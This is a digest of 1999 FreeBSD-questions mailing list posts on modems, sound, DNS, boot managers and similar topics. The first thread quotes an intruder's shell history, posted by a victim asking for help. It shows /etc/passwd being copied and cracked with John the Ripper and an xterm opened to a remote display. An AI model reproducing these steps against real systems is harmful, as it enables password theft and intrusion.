Subject: Re: /etc/passwd file
In-Reply-To: <XFMail.990324171835.pirat@center.oaep.go.th>
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On Wed, 24 Mar 1999 pirat@center.oaep.go.th wrote:

> i notice recently that some one is using my /etc/passwd file, please see the
> following history.
> 
> 
> ./john -single passwd

John The Ripper is soft for password cracking.

> shall he finally know the user's password from the sequence of his action shown
> above ?

Maybe ...
					Ladislav Kostal



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From owner-freebsd-questions  Wed Mar 24  3:59:10 1999
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From: <unknown@riverstyx.net>
To: pirat@center.oaep.go.th
Cc: questions@FreeBSD.ORG
Subject: Re: /etc/passwd file
In-Reply-To: <XFMail.990324171835.pirat@center.oaep.go.th>
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if you aren't shadowed, and you have weak passwords, chances are he's got
a good sized chunk of your password file.  the program he's using is john
the ripper, which is a crack clone, which attempts toguess passwords by
encrypting strings and comparing to the encrypted password...

On Wed, 24 Mar 1999 pirat@center.oaep.go.th wrote:

> hi,
> 
> i notice recently that some one is using my /etc/passwd file, please see the
> following history.
> 
> 
> ===begin===
> ls -l
> cd /etc
> ls *host*
> ls -l | less
> ls -l | more
> w
> l s-l
> cd
> ls -l
> rm M-cjohn-1.5.tar.gz
> ls -l
> rm *.gz
> ls
> cd john-1.5
> ls -l
> cd run
> l s-l
> ls -l
> cp /etc/passwd .
> ls -l
> ./john -single passwd
> ls -l
> cat password.lst
> ^X
> ls -l
> cd ..
> ls -l
> cd doc
> pico .
> w
> xterm -display 202.44.64.146:0.0 &
> set
> env
> ping 202.44.64.146
> ping 202.44.64.145
> pwd
> l s-l
> ls -l
> cd ../run
> l s-l
> ls -l
> mv passwd passwd.1
> john -single passwd
> ./john -single passwd
> pico
> pwd
> ls -l
> ./john -si passwd.1
> ./john -show passwd.1
> cat passwd.1
> ls -l
> cd /etc
> ls -l sha*
> ls
> ls -l passwd*
> ls -l sh*
> cd
> pico
> pwd
> l s-l
> ls -l
> rm -rf john-1.5
> l s-l
> ls -l
> ping center
> ping 202.44.64.144
> arp -a
> ping 202.44.64.144
> cd /etc
> ls -l hos*
> cat host.conf
> cat hosts
> ls -l
> pilot
> exit
> ===end of history===
> 
> 
> shall he finally know the user's password from the sequence of his action shown
> above ?
> 
> apologize me for asking this kind of question here.  but many thanks in advance.
> 
> 
> with regards,
> psr
> ----------------------------------
> E-Mail: pirat@center.oaep.go.th
> Date: 24-Mar-99
> Time: 17:06:20
> 
> This message was sent by XFMail
> ----------------------------------
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 



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From owner-freebsd-questions  Wed Mar 24  4: 2:23 1999
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Date: Wed, 24 Mar 1999 17:31:43 +0530 (IST)
From: Prasad Chemburkar <prasad@usa.ltindia.com>
To: questions@FreeBSD.ORG
Subject: How to play audio ?
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hi everybody!

i have configured creative sound blaster card on freebsd server.
at boot up it shows

sb0 at 0x220 irq 5 drq 1 on isa
snd0: <SoundBlaster 16 4.16>  

i think this means the sound card is recognised.

now i try 
cat (some au file) > /dev/snd0

nothing is played or displayed

how do i play audio ?
BTW i don't know if PCM device is related but do i require to configure
that too. if yes how?

thanx in advance

regards,
prasad



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From owner-freebsd-questions  Wed Mar 24  4:32:45 1999
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Reply-To: gwrx@sinanet.com
From: Ray Lau <gwrx@sinanet.com>
Date: Wed, 24 Mar 1999 04:29:52 -0800
To: FreeBSD-questions@FreeBSD.org
Subject: About Modem.......help
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hi
i use smartlink modem5634ts,FreeBSD3.1
when i ppp myisp
freebsd will shutdown
this is my ppp.conf
default:
>  set device /dev/cuaa1
>  set speed 115200
>  set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" ATE1Q0 OK-AT-OK
> \\dATDT\\T TIMEOUT 40 CONNECT"
>
> hinet:
>  set openmode active
>  set phone 4125678
>  deny chap                             
  disable chap
>  accept pap
>  set authname xxxx
>  set authkey  xxxxxx
>  ifaddr 0 0
>  dial                  
========== /etc/ppp/ppp.linkup ======
> hinet:
>     delete ALL
>     add 0 0 HISADDR
> ============================== 
please help me 
thanx


                
____________________________________________________________
 Free Email for Global Chinese @ http://www.sinanet.com/ 



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From owner-freebsd-questions  Wed Mar 24  4:57:32 1999
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From: Esry Don-FDE005 <Don_Esry-FDE005@email.mot.com>
To: "'freebsd-questions@FreeBSD.ORG'" <freebsd-questions@FreeBSD.ORG>
Subject: Boot Manager - newbie
Date: Wed, 24 Mar 1999 07:56:59 -0500
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I just got my machine to dual boot with Win98 and FreeBSD. My question is
how to I change the OS displayed by the bot manager. It displays something
like:

F1 .. ??
F2 .. FreeBSD

I want it to display

F1 .. Win98
F2 .. FreeBSD

Thanks!

Copyright (c) 1999 by Don Esry

Don Esry   Network Analyst
Motorola PCS
Phone: 561-739-8593
Fax:     561-739-8075
Pager:  561-739-2070 #5878
"Out the 10Base2, thru the router, off the bridge, past the firewall, over
the leased line...nothing but net"





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From owner-freebsd-questions  Wed Mar 24  5:18:34 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Wed, 24 Mar 1999 08:16:26 -0500
From: MALCOLM BOFF <Malcolm_Boff@compuserve.com>
Subject: RE: PPP AND Compuserve AND UK
To: "Bond, Jeffery" <Jeff.Bond@nectech.co.uk>
Cc: freebsd-questions <freebsd-questions@freebsd.org>
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Thanks Jeff for your assist ...

I tried the sample script that comes with ppp (from awfulhack)
without success but using ppp not pppd.

Malcolm G Boff


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From owner-freebsd-questions  Wed Mar 24  5:19:29 1999
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To: gwrx@sinanet.com
Cc: FreeBSD-questions@freebsd.org
Subject: Re: About Modem.......help
References: <199903241229.EAA31351@mail.sinanet.com>
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Ray Lau wrote:
> 
> hi
> i use smartlink modem5634ts,FreeBSD3.1
> when i ppp myisp
> freebsd will shutdown
> this is my ppp.conf
> default:
> >  set device /dev/cuaa1
> >  set speed 115200
> >  set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" ATE1Q0 OK-AT-OK
> > \\dATDT\\T TIMEOUT 40 CONNECT"
> >
> > hinet:
> >  set openmode active
> >  set phone 4125678
> >  deny chap
>   disable chap
> >  accept pap
> >  set authname xxxx
> >  set authkey  xxxxxx
> >  ifaddr 0 0

This line should be:

 set ifaddr 10.0.0.1/0 10.0.0.2/0 0.0.0.0 0.0.0.0


> >  dial
and remove this.

> ========== /etc/ppp/ppp.linkup ======
> > hinet:
> >     delete ALL
> >     add 0 0 HISADDR
> > ==============================
> please help me
> thanx
> 
> 
> ____________________________________________________________
>  Free Email for Global Chinese @ http://www.sinanet.com/
> 
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-- 
      FreeBSD - The Power To Serve http://www.freebsd.org
      My Webpage http://www.users.globalnet.co.uk/~markov
_______________________________________________________________
Mark Ovens, CNC Apps Engineer, Radan Computational Ltd. Bath UK
CAD/CAM solutions for Sheetmetal Working Industry
mailto:marko@uk.radan.com                  http://www.radan.com


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From owner-freebsd-questions  Wed Mar 24  5:26:34 1999
Delivered-To: freebsd-questions@freebsd.org
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From: "Greg Quinlan" <gwq_uk@hotmail.com>
To: questions@freebsd.org
Subject: Release 3.0 just decides to reboot
Date: Wed, 24 Mar 1999 05:26:09 PST
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Can anyone help?

I have had release 3.0 installed for sometime, but recently the Server 
has just decided to reboot, no error, no panic,....
I suspect it may have had something to do with the WWW interface.
I have unplugged this.... and amazingly the problem has disappeared.
The hardware still remains (3com = xl2 interface) but the network cable 
has been disconnected. Strangely it would occur about every hour, but it 
has been four hours now!

My question is:
Is there someway that someone via the www has killed my system.

Regards

Greg

ps. I'm also running ipfw...
Get Your Private, Free Email at http://www.hotmail.com


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From owner-freebsd-questions  Wed Mar 24  5:30:55 1999
Delivered-To: freebsd-questions@freebsd.org
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From: Kevin Rooney <Kevin_Rooney@sw.cc.va.us>
To: "'freebsd-questions@FreeBSD.ORG'" <freebsd-questions@FreeBSD.ORG>
Subject: Periodic System Crash--3.1-RELEASE
Date: Wed, 24 Mar 1999 08:28:17 -0500
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Recently I've upgraded to 3.1 from 3.0 using ftp (yeah, I know, I
learned my lesson -- the CDs are on the way).  Anywho, the install froze
during download several times.  I was using /stand/sysinstall method.  I
hate to mention this but I downloaded the entire dist to an NT server
(ouch) on the same ethernet hub and then pulled it over from there.
Okay, so I may have found the problem in that I had a SMC 9432TX and the
VGA card sharing an IRQ on the PCI bus. 

Ever since the upgrade the system will freeze about once a week, and I
mean freeze all shells, no response, no Cntrl C, nothin'.  I thought it
was a cron job at first but it was consistent.  Even after the IRQ
resolution it's faster but still hangs. Help!  Should I try reinstalling
the system?  cvsupping to stable?

My machine is a Gateway 300MHz PII, 128MB physical ram, 8.4GB IDE.

~Kevin Rooney
~Instructional Technologist
~Southwest Virginia Community College
~P.O. Box SVCC, Richlands, VA  24641
~Kevin_Rooney@sw.cc.va.us
~(540)964-7552



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From owner-freebsd-questions  Wed Mar 24  6:34:31 1999
Delivered-To: freebsd-questions@freebsd.org
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	(envelope-from mikegoe@ibm.net)
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From: "Michael G." <mikegoe@ibm.net>
To: "freebsd-questions@freebsd.org" <freebsd-questions@freebsd.org>,
	"Esry Don-FDE005" <Don_Esry-FDE005@email.mot.com>
Date: Wed, 24 Mar 1999 21:39:00 -0500
Reply-To: "Michael G." <mikegoe@ibm.net>
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I haven't used Booteasy in a long time...but I would
suggest you try OSBS from the tools directory of your
current FreeBSD distribution.  Run it from a DOS
window/partition and you can change the name and more.

Michae lG.


On Wed, 24 Mar 1999 07:56:59 -0500, Esry Don-FDE005 wrote:

>I just got my machine to dual boot with Win98 and FreeBSD. My question is
>how to I change the OS displayed by the bot manager. It displays something
>like:
>
>F1 .. ??
>F2 .. FreeBSD
>
>I want it to display
>
>F1 .. Win98
>F2 .. FreeBSD




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From owner-freebsd-questions  Wed Mar 24  6:50: 0 1999
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Date: Wed, 24 Mar 1999 09:49:05 -0500
From: Paul Gregg <pgregg@wspa.com>
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To: freebsd-questions@freebsd.org
Subject: wire feeds on com port
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I'm looking ofr help and/or leads on how to capture data coming in on a
com port. This is a noaa weather feed from a satellite receiver which
goes to a box which which has one rs232 input and about 8 rs232 outputs.
I think the data just streams out whether anything is listening or not.
I would like to receive this on a com port on a freebsd box and listen
for key words and perform a function when it sees a particular string.

Is there something in the ports that could be adapted for this or could
it bee done in a shell script. 

Thanks

Paul


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From owner-freebsd-questions  Wed Mar 24  6:58:42 1999
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Date: Wed, 24 Mar 1999 09:59:09 -0500
From: Paul Gregg <pgregg@wspa.com>
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I'm looking for help and/or leads on how to capture data coming in on a
com port. This is a noaa weather feed from a satellite receiver which
goes to a box which which has one rs232 input and about 8 rs232 outputs.
I think the data just streams out whether anything is listening or not.
I would like to receive this on a com port on a freebsd box and listen
for key words and perform a function when it sees a particular string.

Is there something in the ports that could be adapted for this or could
it be more easily done in a shell script. If so what would be the
command to listen to a com port from a shell. 


Thanks

Paul

sorry for the double post prevoious one in a an unrelated thread


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From owner-freebsd-questions  Wed Mar 24  7:20:19 1999
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Date: Wed, 24 Mar 1999 10:18:18 -0500
From: Stewart MacLund <sundie@lunaticfringe.org>
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Question:

I have an Adaptec AAA-131SA raid adapter.  Specific model number (as
read from the board) is AAA-131B.

I set this card up with the DOS program supplied, and formatted the
raid, and everything seemed fine.

BUt when i go to install FreeBSD, it skips right past the RAID, and sees
the two physical drives.

I'm sure i don't need to explain the problem any further.  The question
is, what is the solution?  I banged my head against the wall for several
days before i gave up on this, and swapped it for a regular 2940UW (why
use the raid card if it's not raiding).  Now that i have time to go back
to this problem, i'd like to solve it.

Can anyone help?

SUndie...



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From owner-freebsd-questions  Wed Mar 24  7:21:22 1999
Delivered-To: freebsd-questions@freebsd.org
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From: gregm@netidea.com
To: freebsd-questions@FreeBSD.ORG
Date: Wed, 24 Mar 1999 07:21:55 -0800
Subject: speed of DNS
Reply-To: Greg <gregm@netidea.com>
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I've configured a DNS on my FreeBSD machine using the 
information from the Pedantic PPP tutorial on the freebsd.org 
server. My system closely resembles the system described there 
(three win98 boxes and the FreeBSD machine). I've cross 
referenced with Greg Lehey's descriptions as well. When I was just 
using /etc/hosts connection with telnet was almost transparent but 
now with DNS it takes about two minutes. I've checked for the 
trailing '.' on each entry and checked to be sure everything 
matches the tutorial and in essence Greg's description. I'm also 
running Apache and there is no delay getting a webpage - only the 
telnet. Once connected everything is fine. Is there something I can 
do about this or is this the nature of the DNS?
Thankyou,
Greg Martin.
gregm@netidea.com


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From owner-freebsd-questions  Wed Mar 24  7:30:10 1999
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From: "High, Robert" <Robert.High@delta-air.com>
To: "'freebsd-questions@FreeBSD.ORG'" <freebsd-questions@FreeBSD.ORG>
Subject: I am having a problem making a custom kernel
Date: Wed, 24 Mar 1999 10:29:46 -0500
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I am using 2.2.7 installed as a KERN-developer.


I made my custom kernel, and do the config. Its does that fine but when I do
the Make depend I get a bunch of messages and it gives me an ERROR 1.  I
cant do any of the other Makes as well.  It appears to be an issue with the
libraries.  Any suggestions?


Robert R. High III, MCSE
Delta Technology
Systems Engineer
Enterprise Security Engineering
(404)773-9808



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From owner-freebsd-questions  Wed Mar 24  7:35:23 1999
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Date: Wed, 24 Mar 1999 16:34:59 +0100 (MET)
To: freebsd-questions@freebsd.org
Subject: moving /tmp to /var/tmp caused network trouble
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Hi,

As I got 'file system full' messages regarding my / partition, I
decided to move /tmp to /var/tmp. So I did:

# cd /
# cp -R tmp var/
# rm -rf tmp
# ln -s /var/tmp .
# reboot

That was probably not the smartest thing to do as my network
connection doesn't really work any longer. I simply get timeouts and
that's it.

'netstat -i' takes (almost) forever to report
...
de0   1500  141.44.164/24 141.44.164.142  87   0   1   0   0
...

141.44.164.142 is the machine in question.

As this is kind of annoying (and makes the machine unusable) I would
very much appreciate any hints on what I am missing.

	Roland


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From owner-freebsd-questions  Wed Mar 24  7:54:41 1999
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To: Luc.Segers@vnet.atea.be
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: real newbie doubting between linux/freebsd
In-Reply-To: Your message of "Wed, 24 Mar 1999 10:10:32 +0100"
	<36F8AC08.3C7D14CD@vnet.atea.be>
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From: Luc Segers <Luc.Segers@vnet.atea.be>
Subject: real newbie doubting between linux/freebsd
Date: Wed, 24 Mar 1999 10:10:32 +0100

> Hello,
> 
>         I have some questions: I would like to be a new computer with
> all the newest hardware: Soundblaster Savage 4 videocard, Soundblaster
> live soundcard, Pentium III (I will wait for the new very fast
> motherboards). My question is: will freebsd work with those new things,
> which one is faster to support new hardware, Linux or FreeBSD and whats
> the time difference. Will you ever support these hardware.

(I always buy hardware specifically for my software)

I'm not familiar with the devices these boards are based on.   Is the
Savage 4 an AGP video board?  Nonetheless, Linux and FreeBSD share a
common X11 code base so this question applies to both systems.

Don't know about that sound card either.

> 
> At first sight FreeBSD seems to be beter structured, and I really like
> some structure. I dont really like the chaos of Linux.

At first sight FreeBSD seems better structured and after four years of
using it I continue to be amazed and find new examples of the team's
release engineering expertise.

Wait until you learn about CVSup...

> 
> Another thing I think is important, is support, and I am testing that
> right now ;-).

FreeBSD users generally try to be helpful.  To get the most bang for
your unspent buck try to get as many specific details as possible
to help the volunteers with your questions.  Remember to research
mail and news archives first to see if your question has already been
asked.

Read Greg Lehey's "How to get the most out of -questions" and buy
his book too.  He'll appreciate that.  :-)

> 
> You can Buy 4CD-Roms with freeBSD 3.1, but what's on those 4CD-roms ? Is
> there KDE 1.1 ? Everything ?

You can look at ftp://ftp.freebsd.org/ to discern what's on those CD's.

Since there is a lag between production of CD's and software made available
to users, there are extensive mechanisms to help you get the most recent
and/or stable versions of new software.

> 
> Thank you very much,
> 

Welcome to the party!

Jerry Hicks
wghicks@bellsouth.net


> Luc Segers
> 
> P.S.: I really like the Little Red Devil

Heh, see: http://wm.themes.org/WMShots/iBSD.jpg


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From owner-freebsd-questions  Wed Mar 24  8: 0:33 1999
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Date: Wed, 24 Mar 1999 01:02:19 -0500 (EST)
Reply-To: jdunn@aquezada.com
Organization: Aquezada Productions
From: "Julian C. Dunn" <jdunn@aquezada.com>
To: Lonewolf <lonewolf@apotheosis.za.org>
Subject: Re: sshd won't do X11 forwarding
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On 23-Mar-99 Lonewolf wrote:
> Could you perhaps cut-and-paste the output of an ssh -v xmachine (verbose)
> for
> us to look at?

Yes. Here it is. It gave me some more supposed diagnostics about xauth not
being in the PATH when compiled, so what I did is I went and uninstalled the
old sshd and then did "make install" again after verifying that /usr/X11R6/bin/
was indeed in my PATH. Same deal. Hmm...

ugsparc70:/nfs/ugsparcs/u0T0/u0T0/dunnj$ ssh -v -l jdunn ophelia.aquezada.com
SSH Version 1.2.22 [sparc-sun-solaris2.5], protocol version 1.5.
Standard version.  Does not use RSAREF.
ugsparc70.eecg: Reading configuration data /etc/ssh_config
ugsparc70.eecg: ssh_connect: getuid 5802 geteuid 0 anon 0
ugsparc70.eecg: Connecting to ophelia.aquezada.com [128.100.21.60] port 22.
ugsparc70.eecg: Allocated local port 1023.
ugsparc70.eecg: Connection established.
ugsparc70.eecg: Remote protocol version 1.5, remote software version 1.2.26
ugsparc70.eecg: Waiting for server public key.
ugsparc70.eecg: Received server public key (768 bits) and host key (1024 bits).
ugsparc70.eecg: Host 'ophelia.aquezada.com' is known and matches the host key.
ugsparc70.eecg: Initializing random; seed file /u0T0/dunnj/.ssh/random_seed
ugsparc70.eecg: Encryption type: idea
ugsparc70.eecg: Sent encrypted session key.
ugsparc70.eecg: Received encrypted confirmation.
ugsparc70.eecg: Trying rhosts or /etc/hosts.equiv with RSA host authentication.
ugsparc70.eecg: Remote: Accepted by .rhosts.
ugsparc70.eecg: Remote: Your host key cannot be verified: unknown or invalid
host key.
ugsparc70.eecg: Remote: The host name used to check the key was 'ugsparc70.eecg.
ugsparc70.eecg: Remote: Try logging back from the server machine with the
canonical host name using ssh, and then try again.
ugsparc70.eecg: Server refused our rhosts authentication or host key.
ugsparc70.eecg: No agent.
ugsparc70.eecg: Trying RSA authentication with key 'dunnj@ugsparc25.eecg'
ugsparc70.eecg: Received RSA challenge from server.
Enter passphrase for RSA key 'dunnj@ugsparc25.eecg': 
ugsparc70.eecg: Sending response to host key RSA challenge.
ugsparc70.eecg: Remote: RSA authentication accepted.
ugsparc70.eecg: RSA authentication accepted by server.
ugsparc70.eecg: Requesting pty.
ugsparc70.eecg: Failed to get local xauth data.
ugsparc70.eecg: Requesting X11 forwarding with authentication spoofing.
ugsparc70.eecg: Remote: Client requested X11 forwarding, but the server has no
xauth program.
ugsparc70.eecg: Remote: This is usually caused by "xauth" not being in PATH
during compile.
Warning: Remote host denied X11 forwarding, perhaps xauth program could not be
run on the server side.
ugsparc70.eecg: Requesting shell.
ugsparc70.eecg: Entering interactive session.
Last login: Tue Mar 23 15:59:20 1999
Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994
        The Regents of the University of California.   All rights reserved.

FreeBSD 2.2.8-STABLE (OPHELIA) #0: Sun Jan  3 15:12:14 EST 1999

<snip>

- Julian


[     Julian C. Dunn - jdunn@aquezada.com  WWW: http://www.aquezada.com/   ] 
[ programmer, web designer, unix user, fumbler, writer, and future engineer]
[ FuE exfe94 a+++ Ifte/slc lonca r- ps++ bs+ t++/*t C+++$/C! w+++ p7 LF+++ ]  
[N++/N! cd260 pr++ g+++ S-/S *x++ Fa+++/Fa$/Fa! m1 b+ fc+++/ E>+ rl-- *d s!]  
[   "you're cruel and unkind when i can't read your mind " - lenni jabour  ]


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From owner-freebsd-questions  Wed Mar 24  8: 0:47 1999
Delivered-To: freebsd-questions@freebsd.org
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From: Christopher Michaels <ChrisMic@clientlogic.com>
To: 'Roland Jesse' <jesse@mail.CS.Uni-Magdeburg.De>,
	freebsd-questions@freebsd.org
Subject: RE: moving /tmp to /var/tmp caused network trouble
Date: Wed, 24 Mar 1999 11:01:14 -0500
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> -----Original Message-----
> From:	Roland Jesse [SMTP:jesse@mail.CS.Uni-Magdeburg.De]
> Sent:	Wednesday, March 24, 1999 10:35 AM
> To:	freebsd-questions@freebsd.org
> Subject:	moving /tmp to /var/tmp caused network trouble
> 
> Hi,
> 
> As I got 'file system full' messages regarding my / partition, I
> decided to move /tmp to /var/tmp. So I did:
> 
> # cd /
> # cp -R tmp var/
> # rm -rf tmp
> # ln -s /var/tmp .
> 
	Shouldn't this be, ln -s /var/tmp /tmp,  ?  I've taken almost the
exact same steps and have absolutely no problems at all.

> # reboot
> 
> That was probably not the smartest thing to do as my network
> connection doesn't really work any longer. I simply get timeouts and
> that's it.
> 
> 'netstat -i' takes (almost) forever to report
> ...
> de0   1500  141.44.164/24 141.44.164.142  87   0   1   0   0
> ...
> 
> 141.44.164.142 is the machine in question.
> 
> As this is kind of annoying (and makes the machine unusable) I would
> very much appreciate any hints on what I am missing.
> 
> 	Roland


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From owner-freebsd-questions  Wed Mar 24  8: 9:42 1999
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From: Roland Jesse <jesse@mail.CS.Uni-Magdeburg.De>
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To: freebsd-questions@freebsd.org
Subject: RE: moving /tmp to /var/tmp caused network trouble
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Christopher Michaels writes:

 > > # ln -s /var/tmp .
 > > 
 > 	Shouldn't this be, ln -s /var/tmp /tmp,  ?  I've taken almost the
 > exact same steps and have absolutely no problems at all.

Well, isn't this the same thing? Both, 'cd /; ln -s /var/tmp .' and
'ln -s /var/tmp /tmp' result in /tmp being a symbolic link to
/var/tmp.

I am really out of clues of what is going wrong here.

	Roland


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From owner-freebsd-questions  Wed Mar 24  8:12:27 1999
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To: jdunn@aquezada.com
Cc: lonewolf@apotheosis.za.org, freebsd-questions@FreeBSD.ORG
Subject: Re: sshd won't do X11 forwarding
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	<XFMail.990324010219.jdunn@aquezada.com>
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From: "Julian C. Dunn" <jdunn@aquezada.com>
Subject: Re: sshd won't do X11 forwarding
Date: Wed, 24 Mar 1999 01:02:19 -0500 (EST)

> On 23-Mar-99 Lonewolf wrote:
> > Could you perhaps cut-and-paste the output of an ssh -v xmachine (verbose)
> > for
> > us to look at?
> 
> Yes. Here it is. It gave me some more supposed diagnostics about xauth not
> being in the PATH when compiled, so what I did is I went and uninstalled the
> old sshd and then did "make install" again after verifying that /usr/X11R6/bin/
> was indeed in my PATH. Same deal. Hmm...
> 
> ugsparc70:/nfs/ugsparcs/u0T0/u0T0/dunnj$ ssh -v -l jdunn ophelia.aquezada.com

sparc?  Where'd you get that ssh?  Does a local (on the Solaris box) ssh
session work?  How about local on the FreeBSD box?

Sorry, I've lost the context, did you build the FreeBSD ssh from the ports
collection?  Why not ssh2?

I've got ssh2 running between a Solaris box and FreeBSD with no problems.
There are options to compile and execute without X support.

Good Luck,

Jerry Hicks
wghicks@bellsouth.net


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From owner-freebsd-questions  Wed Mar 24  8:13:25 1999
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From: Dan Swartzendruber <druber@kersur.net>
To: Roland Jesse <jesse@prinz-atm.CS.Uni-Magdeburg.De>
Cc: freebsd-questions@FreeBSD.ORG
Subject: RE: moving /tmp to /var/tmp caused network trouble
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The only thing I can think of is to check the permissions on /var/tmp.





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From owner-freebsd-questions  Wed Mar 24  8:17: 8 1999
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Date: 24 Mar 1999 11:16:43 -0500
From: Ian Lance Taylor <ian@zembu.com>
To: freebsd-questions@freebsd.org
Subject: FreeBSD FAQ and a.out
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In the FreeBSD FAQ at
    http://www.FreeBSD.org/FAQ/FAQ225.html#227
you say

    ``Even though the a.out executable format has served us well, the
      GNU people, who author the compiler tools we use, have dropped
      support for the a.out format.''

As one of the GNU people--I'm the GNU binutils maintainer--I don't
think this is quite right, and it recently led to confusion on
gnu.misc.discuss.  We never dropped support for a.out--it is supported
just as well as it ever was, and that includes complete support for
SunOS style shared libraries.

We did encourage people to move to ELF, because it is better.  It
supports multiple sections, permits the alignment of those sections to
be set individually, and it provides shared library support that is as
good as SunOS and is easier to understand.  Multiple sections permits
neat hacks like bash extracting the set of long options from the
executable, in order to option completion, in a reasonably portable
fashion.

From my perspective as the GNU binutils maintainer, the BSD folks
developed a lot of a.out support code which was never contributed back
to the GNU binutils.  I would always have been happy to accept those
patches, but as far as I can recall, nobody ever seriously tried to
contribute them.  So we didn't drop support for a.out; in the sense in
which you mean, we never had it.

I would appreciate if you could clarify this in the FAQ to avoid
future confusion.

Thanks.

Ian


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From owner-freebsd-questions  Wed Mar 24  8:27:25 1999
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Date: Wed, 24 Mar 1999 10:26:59 -0600 (CST)
From: Mike <mjn@tc.umn.edu>
To: freebsd-questions@freebsd.org
Subject: A little question....
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I am new to the list and wondering about NAT.  Has anyone tried running
NAT through the wide-dhcp port and getting your outside world info from
dhcp?  IE creating an internal network using NAT without a static IP
adress.

I am just wondering if it is possible or if a friend of mine needs to
switch ISPs....

thanx

____________________________
Mike Neuharth
Information Tech Professional
http://www.umn.edu/adcs

E-Mail		: mjn@tc.umn.edu
Page Mail	: 6126486512@mobile.att.net
http://nifty.dsl.visi.com/
____________________________



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From owner-freebsd-questions  Wed Mar 24  8:41:57 1999
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From: bind@tcart.eglin.af.mil (Bindemann, Alan (AC))
To: "'freebsd-questions@freebsd.org'" <freebsd-questions@freebsd.org>
Subject: Resetting OS clock after sleep/suspend
Date: Wed, 24 Mar 1999 10:40:51 -0600
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I am running v3.1 on a desktop computer which can be placed in a 
suspend/sleep state using the power button.  When I wake-up the computer, 
everything behaves correctly (which is more than I can say for Windows), 
except for the OS clock; which does not correct for the time spent in the 
suspended mode.  For example, if the machine is suspended at 7:00am gets 
woken-up at 9:00am, the operating systems still thinks its 7:00am.

First question:  Is using this feature a no-no that could trash the file 
system(s)?

Second question:  After I have done this, is there a way to reset the OS 
clock to the physical clock in the computer short of rebooting? (without 
resorting to some internet based time source).

Thanks,
Alan Bindemann
mailto:bind@teas.eglin.af.mil
Sverdrup Technology
(850) 729-6343




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From owner-freebsd-questions  Wed Mar 24  9:17:21 1999
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From: "Corey A. Christians" <cchrstns@sdln.net>
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Subject: Pentium III question
Date: Wed, 24 Mar 1999 10:12:32 -0700
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Does FreeBSD version 2.2.8 work okay with the new pentium III processors.
The company I work for bought one and I want to put FreeBSD on it to operate
as a web server.  Thank you!



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From owner-freebsd-questions  Wed Mar 24  9:20:38 1999
Delivered-To: freebsd-questions@freebsd.org
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From: Christopher Michaels <ChrisMic@clientlogic.com>
To: freebsd-questions@freebsd.org
Subject: RE: moving /tmp to /var/tmp caused network trouble
Date: Wed, 24 Mar 1999 12:21:04 -0500
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Maybe I'm just totally confused.  But I thought "." was the current
directory, which in this case was the root dir "/".  Or am I missing
something here?
-Chris

> -----Original Message-----
> From:	Roland Jesse [SMTP:jesse@mail.CS.Uni-Magdeburg.De]
> Sent:	Wednesday, March 24, 1999 11:09 AM
> To:	freebsd-questions@freebsd.org
> Subject:	RE: moving /tmp to /var/tmp caused network trouble
> 
> Christopher Michaels writes:
> 
>  > > # ln -s /var/tmp .
>  > > 
>  > 	Shouldn't this be, ln -s /var/tmp /tmp,  ?  I've taken almost the
>  > exact same steps and have absolutely no problems at all.
> 
> Well, isn't this the same thing? Both, 'cd /; ln -s /var/tmp .' and
> 'ln -s /var/tmp /tmp' result in /tmp being a symbolic link to
> /var/tmp.
> 
> I am really out of clues of what is going wrong here.
> 
> 	Roland


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From owner-freebsd-questions  Wed Mar 24  9:26: 7 1999
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From: "Darin Spence" <darin@radio-inc.com>
To: <questions@freebsd.org>
Subject: Question on tar
Date: Wed, 24 Mar 1999 11:23:00 -0600
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I just downloaded Samba 2.0.3 (samba.tar) and need to extract it to
/usr/ports/net/samba over the old 2.0.2 version that is in that directory.
How should I go about this?

Should I delete the 2.0.2 stuff out of there first?  When I ran tar -xvf
samba.tar it put everything in my home directory inside of
usr/home/darin/pub/FreeBSD/FreeBSD-current/ports/net/samba/

How can I get it all into the /usr/ports/net/samba directory?

Thanks!

^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ Darin Spence
                                 darin@radio-inc.com
 Director of Information Technology > R A D I O, INC
                     (785) 628-1064, ext. 22 > Phone
                            http://www.media-net.net



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From owner-freebsd-questions  Wed Mar 24  9:35:54 1999
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From: gregm@netidea.com
To: Dan Busarow <dan@dpcsys.com>
Date: Wed, 24 Mar 1999 09:36:25 -0800
Subject: Re: speed of DNS
Reply-To: Greg <gregm@netidea.com>
Cc: freebsd-questions@FreeBSD.ORG
References: <199903241519.HAA11622@everest.netidea.com>
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According to the primer this file should handle reverse lookup as well. It is 
called from named.boot. I'm using the names supplied by the primer for 
humours sake but changed them for my machines. I'm using 2.2.6-
RELEASE if that makes any difference. BTW ftp is slow to connect as well. 
Thanks for the suggestion ... I learned some more in investigating it 8>)
Greg.
gregm@netidea.com

@	IN SOA	 my.domain. root.my.domain.  (	
			 961230	; Serial	
			 3600	; Refresh
			 900	; Retry		
			 3600000	; Expire	
			 3600 )	; Minimum	
	IN NS	curly.my.domain.

curly.my.domain.		IN A	192.168.1.1	# The FreeBSD box
larry.my.domain.		IN A	192.168.1.2	
moe.my.domain.		IN A	192.168.1.3	
shemp.my.domain.	IN A	192.168.1.4	

$ORIGIN 1.168.192.IN-ADDR.ARPA
		IN NS	curly.my.domain.
1		IN PTR	curly.my.domain.
2		IN PTR	larry.my.domain.
3		IN PTR	moe.my.domain.
4		IN PTR	shemp.my.domain.

$ORIGIN 0.0.127.IN-ADDR.ARPA		
		IN NS	curly.my.domain.
1		IN PTR	localhost.my.domain.
> On Wed, 24 Mar 1999 gregm@netidea.com wrote:
> > I've configured a DNS on my FreeBSD machine using the 
> > information from the Pedantic PPP tutorial on the freebsd.org 
> > server. My system closely resembles the system described there 
> > (three win98 boxes and the FreeBSD machine). I've cross 
> > referenced with Greg Lehey's descriptions as well. When I was just 
> > using /etc/hosts connection with telnet was almost transparent but 
> > now with DNS it takes about two minutes. 
> The symptoms indicate that you did not set up a reverse zone mapping
> your IP addresses to their names.
> 
> Dan
> -- 
>  Dan Busarow                                                  949 443 4172
>  Dana Point Communications, Inc.                            dan@dpcsys.com
